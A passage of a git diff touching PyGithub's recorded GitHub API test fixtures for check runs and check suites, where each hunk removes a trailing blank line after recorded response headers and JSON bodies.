'W/"a1dcda96e0191f36ff25916c095f9fa5d15e76c38a8a8b6076a5857f28fe2b3f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4854'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '146'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF57:24B4:15A7ACF:1D6C9FD:5F924875')] {"id":1279259090,"node_id":"MDg6Q2hlY2tSdW4xMjc5MjU5MDkw","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"49","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1279259090","details_url":"https://www.example-url.com","status":"completed","conclusion":"success","started_at":"2020-10-20T01:10:20Z","completed_at":"2020-10-20T02:20:30Z","output":{"title":"Mighty Readme report","summary":"There are 0 failures, 2 warnings, and 1 notices.","text":null,"annotations_count":2,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1279259090/annotations"},"name":"update_all_params","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckRun.testUpdateCheckRunFailure.txt b/tests/ReplayData/CheckRun.testUpdateCheckRunFailure.txt index 595a059be2..d198a79773 100644 --- a/tests/ReplayData/CheckRun.testUpdateCheckRunFailure.txt +++ b/tests/ReplayData/CheckRun.testUpdateCheckRunFailure.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:28 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"190b6a62c177d880d2516d65d81f449089e885590b78b2c87c1fb3f7a1a04288"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4848'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '152'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF5D:09F2:EC7E9A:1442E6A:5F924878')] {"id":1296029378,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5Mzc4","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"101","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029378","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"failure","started_at":"2020-10-20T10:14:51Z","completed_at":"2020-10-23T03:05:28Z","output":{"title":"Check run for testing failure","summary":"There is 1 whitespace error.","text":"You may have a whitespace error in the file 'test.py'","annotations_count":1,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029378/annotations"},"name":"fail_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckRun.testUpdateCheckRunSuccess.txt b/tests/ReplayData/CheckRun.testUpdateCheckRunSuccess.txt index d333a88b1f..51cb17f873 100644 --- a/tests/ReplayData/CheckRun.testUpdateCheckRunSuccess.txt +++ b/tests/ReplayData/CheckRun.testUpdateCheckRunSuccess.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 23 Oct 2020 03:05:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"c8ddcf778ff05bdc1fdec6a5f0929979377a02ddab45dab465f9b8fc1a73f448"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4842'), ('X-RateLimit-Reset', '1603425766'), ('X-RateLimit-Used', '158'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CF63:09F2:EC7ED6:1442EAD:5F92487B')] {"id":1296029552,"node_id":"MDg6Q2hlY2tSdW4xMjk2MDI5NTUy","head_sha":"0283d46537193f1fed7d46859f15c5304b9836f9","external_id":"100","url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552","html_url":"https://github.com/dhruvmanila/pygithub-testing/runs/1296029552","details_url":"https://github.com/dhruvmanila/pygithub-testing","status":"completed","conclusion":"success","started_at":"2020-10-20T14:24:31Z","completed_at":"2020-10-23T03:05:31Z","output":{"title":"Check run for testing edit method","summary":"This is the summary of editing check run as completed.","text":null,"annotations_count":0,"annotations_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-runs/1296029552/annotations"},"name":"edit_check_run","check_suite":{"id":1366665055},"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","metadata":"read","workflows":"write"},"events":["check_run","check_suite"]},"pull_requests":[]} - diff --git a/tests/ReplayData/CheckSuite.setUp.txt b/tests/ReplayData/CheckSuite.setUp.txt index 8ab1221a8a..c486d0db38 100644 --- a/tests/ReplayData/CheckSuite.setUp.txt +++ b/tests/ReplayData/CheckSuite.setUp.txt @@ -52,4 +52,3 @@ None 200 [('Date', 'Fri, 27 Nov 2020 20:31:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"27e35b5ca8cc0dc13e0cc6ee5f221608689477b3d6e2798a0143c4e11f1c95d9"'), ('Last-Modified', 'Tue, 04 Aug 2020 05:06:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4985'), ('X-RateLimit-Reset', '1606511185'), ('X-RateLimit-Used', '15'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D597:2E6F:933FF:C470E:5FC16234')] {"sha":"fd09d934bcce792176d6b79d6d0387e938b62b7a","node_id":"MDY6Q29tbWl0MjgzOTYzMTYyOmZkMDlkOTM0YmNjZTc5MjE3NmQ2Yjc5ZDZkMDM4N2U5MzhiNjJiN2E=","commit":{"author":{"name":"Mahesh Raju","email":"coder@mahesh.net","date":"2020-08-04T05:06:50Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-08-04T05:06:50Z"},"message":"Update README.md","tree":{"sha":"ece026d8b3d79448ead6e7a2e2919dea8057db38","url":"https://api.github.com/repos/wrecker/PySample/git/trees/ece026d8b3d79448ead6e7a2e2919dea8057db38"},"url":"https://api.github.com/repos/wrecker/PySample/git/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfKOzqCRBK7hj4Ov3rIwAAdHIIADIXKi6bQYeoknS7ohOY6xzG\nreYd/WpX946O/V5epCHra1GNSqIn6DAvzFXAsTW0CdkYN6R2fLkzYjY7bYSPs+m8\nk8CwF0Rww68Cyn/roOf9iiURyBJAIv3JV3vL8faM6/wxPRDRlXtJ1YvEouALNK08\nenJc1nZ4XYh5zG0RDT/FlGZ2XWYH5o+V3jti/7fkouBtH3MdcGGLYFRLGj+oiSZA\n7URgdF/0VCZihKz5rQJSWNyBcXDLLPRKz+9G27x16KbUo2fom6gAjV7sf363tt2f\nonZ/7M2317OsudWMEN1WMKPRGnYzOu3qaEQQDJiMUzQM+uv25D2ObmUCWHKX75o=\n=yRoa\n-----END PGP SIGNATURE-----\n","payload":"tree ece026d8b3d79448ead6e7a2e2919dea8057db38\nparent 9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283\nauthor Mahesh Raju 1596517610 -0700\ncommitter GitHub 1596517610 -0700\n\nUpdate README.md"}},"url":"https://api.github.com/repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a","html_url":"https://github.com/wrecker/PySample/commit/fd09d934bcce792176d6b79d6d0387e938b62b7a","comments_url":"https://api.github.com/repos/wrecker/PySample/commits/fd09d934bcce792176d6b79d6d0387e938b62b7a/comments","author":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","url":"https://api.github.com/repos/wrecker/PySample/commits/9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283","html_url":"https://github.com/wrecker/PySample/commit/9ee0caba8648aa0b8b5fc68ebc37c3c1162aa283"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"6c5a820b8c43a34557374af480bd64dceb513b80","filename":"README.md","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/wrecker/PySample/blob/fd09d934bcce792176d6b79d6d0387e938b62b7a/README.md","raw_url":"https://github.com/wrecker/PySample/raw/fd09d934bcce792176d6b79d6d0387e938b62b7a/README.md","contents_url":"https://api.github.com/repos/wrecker/PySample/contents/README.md?ref=fd09d934bcce792176d6b79d6d0387e938b62b7a","patch":"@@ -4,4 +4,4 @@ A sample python project with tests and tox.ini. I created this as a testbed whil\n developing some features for [PyGithub](https://github.com/PyGithub/PyGithub)\n \n ## TODOs\n-* Add moar Tests\n+* Add moar Tests!"}]} - diff --git a/tests/ReplayData/CheckSuite.testCheckSuiteRerequest.txt b/tests/ReplayData/CheckSuite.testCheckSuiteRerequest.txt index 560c72fa32..93065711b3 100644 --- a/tests/ReplayData/CheckSuite.testCheckSuiteRerequest.txt +++ b/tests/ReplayData/CheckSuite.testCheckSuiteRerequest.txt @@ -19,4 +19,3 @@ None 201 [('Date', 'Sun, 09 Aug 2020 07:47:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1596962853'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"7aedf6d551d7c9a51ab427aecc33124a"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.antiope-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '817A:5947:6EF121:83E68E:5F2FAA16')] {} - diff --git a/tests/ReplayData/CheckSuite.testCreateCheckSuite.txt b/tests/ReplayData/CheckSuite.testCreateCheckSuite.txt index e2f3d8ec69..c74a288a3a 100644 --- a/tests/ReplayData/CheckSuite.testCreateCheckSuite.txt +++ b/tests/ReplayData/CheckSuite.testCreateCheckSuite.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Fri, 27 Nov 2020 19:22:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '7105'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"db07237dd90e83739121142eb1f22d667d8797709ca7173208e72efa07587508"'), ('Location', 'https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '38'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D304:4BFF:9F81A:D35C4:5FC151F5')] {"id":1573185704,"node_id":"MDEwOkNoZWNrU3VpdGUxNTczMTg1NzA0","head_branch":"main","head_sha":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","status":"queued","conclusion":null,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704","before":"eec62326c82e9fb73a86395dd9f7cbb03cbb6ef7","after":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","pull_requests":[],"app":{"id":85429,"slug":"test-pygithub","node_id":"MDM6QXBwODU0Mjk=","owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"name":"Test PyGithub","description":"This app is made only for testing GitHub API endpoints for PyGithub.","external_url":"https://github.com/dhruvmanila/pygithub-testing","html_url":"https://github.com/apps/test-pygithub","created_at":"2020-10-19T16:18:54Z","updated_at":"2020-10-20T03:52:02Z","permissions":{"actions":"write","checks":"write","issues":"write","metadata":"read","pull_requests":"write","workflows":"write"},"events":["check_run","check_suite","issues","issue_comment","pull_request","pull_request_review","pull_request_review_comment","workflow_run"]},"created_at":"2020-11-27T19:22:29Z","updated_at":"2020-11-27T19:22:29Z","latest_check_runs_count":0,"check_runs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/check-suites/1573185704/check-runs","head_commit":{"id":"e5868bd5a9ccdd65c9c979250e11105f4c88faf4","tree_id":"c03d123f8f5dbd1310dda8023d5e48f13fb00ddf","message":"Update README.md","timestamp":"2020-11-27T19:19:39Z","author":{"name":"Dhruv Manilawala","email":"dhruvmanila@gmail.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":305573836,"node_id":"MDEwOlJlcG9zaXRvcnkzMDU1NzM4MzY=","name":"pygithub-testing","full_name":"dhruvmanila/pygithub-testing","private":false,"owner":{"login":"dhruvmanila","id":67177269,"node_id":"MDQ6VXNlcjY3MTc3MjY5","avatar_url":"https://avatars0.githubusercontent.com/u/67177269?v=4","gravatar_id":"","url":"https://api.github.com/users/dhruvmanila","html_url":"https://github.com/dhruvmanila","followers_url":"https://api.github.com/users/dhruvmanila/followers","following_url":"https://api.github.com/users/dhruvmanila/following{/other_user}","gists_url":"https://api.github.com/users/dhruvmanila/gists{/gist_id}","starred_url":"https://api.github.com/users/dhruvmanila/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dhruvmanila/subscriptions","organizations_url":"https://api.github.com/users/dhruvmanila/orgs","repos_url":"https://api.github.com/users/dhruvmanila/repos","events_url":"https://api.github.com/users/dhruvmanila/events{/privacy}","received_events_url":"https://api.github.com/users/dhruvmanila/received_events","type":"User","site_admin":false},"html_url":"https://github.com/dhruvmanila/pygithub-testing","description":"This repository is a hot bed for testing GitHub API endpoints for PyGithub.","fork":false,"url":"https://api.github.com/repos/dhruvmanila/pygithub-testing","forks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/forks","keys_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/keys{/key_id}","collaborators_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/teams","hooks_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/hooks","issue_events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/events{/number}","events_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/events","assignees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/assignees{/user}","branches_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/branches{/branch}","tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/tags","blobs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/refs{/sha}","trees_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/trees{/sha}","statuses_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/statuses/{sha}","languages_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/languages","stargazers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/stargazers","contributors_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contributors","subscribers_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscribers","subscription_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/subscription","commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/commits{/sha}","git_commits_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/git/commits{/sha}","comments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/comments{/number}","issue_comment_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues/comments{/number}","contents_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/contents/{+path}","compare_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/merges","archive_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/downloads","issues_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/issues{/number}","pulls_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/pulls{/number}","milestones_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/milestones{/number}","notifications_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/labels{/name}","releases_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/releases{/id}","deployments_url":"https://api.github.com/repos/dhruvmanila/pygithub-testing/deployments"}} - diff --git a/tests/ReplayData/CheckSuite.testGetCheckRuns.txt b/tests/ReplayData/CheckSuite.testGetCheckRuns.txt index d3f08a6996..ff0a9fce31 100644 --- a/tests/ReplayData/CheckSuite.testGetCheckRuns.txt +++ b/tests/ReplayData/CheckSuite.testGetCheckRuns.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Fri, 27 Nov 2020 18:34:29 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"5acf3da13128def8798134fe153745b181581861f8308402e42a07e2a7304e3f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1606505666'), ('X-RateLimit-Used', '7'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D0BF:4C00:2C478D:37D548:5FC146B4')] 